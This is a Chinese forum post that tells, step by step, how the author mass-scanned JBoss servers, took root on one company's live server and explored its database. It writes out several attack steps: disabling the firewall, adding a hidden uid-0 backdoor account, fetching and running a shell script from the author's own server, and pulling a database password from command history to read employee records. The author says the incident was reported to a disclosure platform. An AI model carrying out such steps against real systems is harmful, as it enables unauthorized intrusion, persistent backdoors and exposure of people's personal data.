昨天把 jexboss 脚本整合到我的并发框架里,扫了一遍全国 jboss ,发现一千多个 shell.
工具地址在:https://github.com/Xyntax/POC-T
随意拿了一个看似大厂商的,作本次入侵测试
##发现传送门
通过 jexboss 拿到 shell ,看到是 centos 的机器(IP 已打码).
看起来是 root ,确认一下.
##不稳定的传送门
###shell 的问题
接下来执行命令的时候,发现这个 jexboss 自带的 shell 很不稳定.出现各种问题,包括但不限于以下两个严重问题:
只好自己再做个稳定的 shell
###nc 的尝试
看到系统有 nc .我想简单用 nc 弹个稳定的 shell 回来,发现我提交的所有 nc 命令都没有回显,且连不上 shell .
###Py 的尝试
放弃了 nc ,看看系统有没有 python ,结果还是--version
没回显,但是有-h
然后我又想用 py 弹个 shell 回来,用了这段代码,发现也没有成功,有点古怪.
我又执行了一句简单的 print ,仍然没有回显!
why?
这里我思考了一下,如果它是因为报错了才无回显.那么能引起报错的应该是代码中( ) ' "
等特殊字符在传输过程出现了错误.
我又用几个简单的 shell 代码具体测试了一下,证实猜测:
'
"
|
>
>>
&
等特殊字符的命令,均不能执行.且没有回显这意味着我基本不能通过这个 shell 执行含有非字母字符的命令了!
不能使用 nc ,不能使用 python ,管道,重定向都不行了
###SSH 的尝试
看来这个 shell 基本是废的.看了下进程,端口,以及iptables
防火墙,发现一些针对性的配置,说明还是部署了一些安全防御的.看到 22 端口后,我果断关了防火墙.我新建个用户,然后外面用 ssh 连不就 OK 了么
于是我新建了一个管理员用户
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash php
查看了一下/etc/passwd
没有问题,创建成功!
然后在修改其密码时
passwd php
没有回显!!!
我想起来,这个修改密码的动作是要用户交互几次的.之前说过,执行交互的命令都是报错退出,没回显..所以又完蛋了
一般 ssh 都不会允许空密码连接的,我试了一下,结果像这样.
ssh: connect to host 183.xxx.xxx.xxx port 22: Connection refused
我查看下 ssh 的配置文件cat /etc/ssh/sshd_config
结果如下:
# $OpenBSD: sshd_config,v 1.97 2015/08/06 14:53:21 deraadt Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Port 2525
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
除了配置文件里禁止了空密码登录外,管理员还把 ssh 的默认端口改成了 2525 ,可以可以
于是我在配置文件里加一句话,允许空密码登录不就 OK 了么.
然而我在写命令时,不能用非字母字符!还不能使用编辑器交互!
vi 直接崩, sed 不行, echo 重定向也不行...
##稳定的传送门
根据这个辣鸡 shell 的臊性,看来我是很难往系统里写入东西了,于是在外部下载代码本地执行总可以的吧,反正有 Python 了.
wget xxx.xxx.xxx
这个命令没有特殊字符!应该可以执行
写了个脚本挂在我的服务器上,再从目标机 wget 到本地.
ls 出来的时候,我就炸了!
果断python shell.py
,看到那个sh-4.1
出来的时候就知道搞定了!
然后改了我建立用户的密码,外部 ssh 连接,传送门终于稳定下来.
##逛逛数据库
拿到稳定的 shell ,看看数据库
试试在命令历史中寻找相关命令:
cat ~/.bash_history |grep sql
结果如下,果然有货
这里 mysql 的老司机们一看便知-p
后面其实是不需要跟内容的,后面的参数123456
其实是数据库名.
难道它 dump 出来的数据库就叫 123456 ?不太可能吧,明显是新手把管理员把密码放到-p 后面了吧!
一试果然,不费吹灰之力进了数据库:
mysql 里面的命令行对我来说早就轻车熟路
use information_schema
select table_name,table_rows from tables where TABLE_SCHEMA = 'cloudcompany' order by table_rows desc;
管理员表:
都是员工数据(216 条数据),来看一条:
挑一些有用的看看:
另外一个表(30W 数据):
##结语
看来数据库没太多东西.边做边写文章效率太低,已经工作快四个小时了,内网什么的不做了,交漏洞走人!
注:本文已屏蔽所有敏感数据,仅供技术交流,该入侵事件已提交乌云漏洞平台.
mail: i@cdxy.me
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.